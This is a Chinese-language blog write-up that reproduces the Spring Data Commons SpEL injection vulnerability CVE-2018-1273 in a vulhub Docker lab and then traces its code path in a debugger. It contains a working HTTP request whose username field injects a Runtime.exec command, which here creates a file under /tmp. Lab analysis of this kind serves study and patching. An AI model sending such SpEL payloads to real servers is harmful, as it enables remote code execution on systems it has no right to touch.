CVE-2018-1273 SPEL注入漏洞

      0x01:漏洞复现

直接获取docker的漏洞环境,地址

https://github.com/1iK3/vulhub/tree/master/spring/CVE-2018-1273

       执行docker-compose up –d启动镜像

       然后访问http://localhost:8080/users即可进入漏洞页面

       抓包post数据报文如下:

POST /users?page=&size=5 HTTP/1.1

Host: localhost:8080

Connection: keep-alive

Content-Length: 124

Pragma: no-cache

Cache-Control: no-cache

Origin: http://localhost:8080

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://localhost:8080/users?page=0&size=5

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“touch /tmp/z3r0s”)]=&password=&repeatedPassword=

执行docker-compose exec spring bash进入容器中,可以看到成功创建了/tmp/z3r0s文件

0x01 调试分析

       直接从docker中提取到了漏洞文件到本地,解压后倒入idea中打开。

       发送如下payload:

       从dispatchsevlet下断点,跟进程序的处理流程后,漏洞最终是在MethodReference中的updateExitTypeDescriptor触发:

       完整的调用栈如下:

       逐步跟进之后可以发现,首先获取了请求的register方法,

从漏洞处罚后继续跟进后发现是通过bind中获取target来达到访问Controller的目的,漏洞的触发点是在创建bind的时候。所以从获取到register方法后开始一步步跟进

       进入binder.bind开始调试,发现进入了dobind方法中在设置property时传入了payload:

       进入applyPropertyValues中

  在applyPropertyValues方法中,获取了PropertyAccessor后就调用了对象的setPropertyValues方法,在该方法中遍历property value然后进入setPropertyValue方法设置,

这里是一个接口方法,我们看一下有哪些实现类

在这里是MapDataBinder的内部类MapPropertyAccessor实现了方法,跟进下去:

       在108行解析spel表达式,然后在129行调用了SpelExpression的setValue方法成功执行payload

为您推荐

发表评论

电子邮件地址不会被公开。 必填项已用*标注

12 + 7 =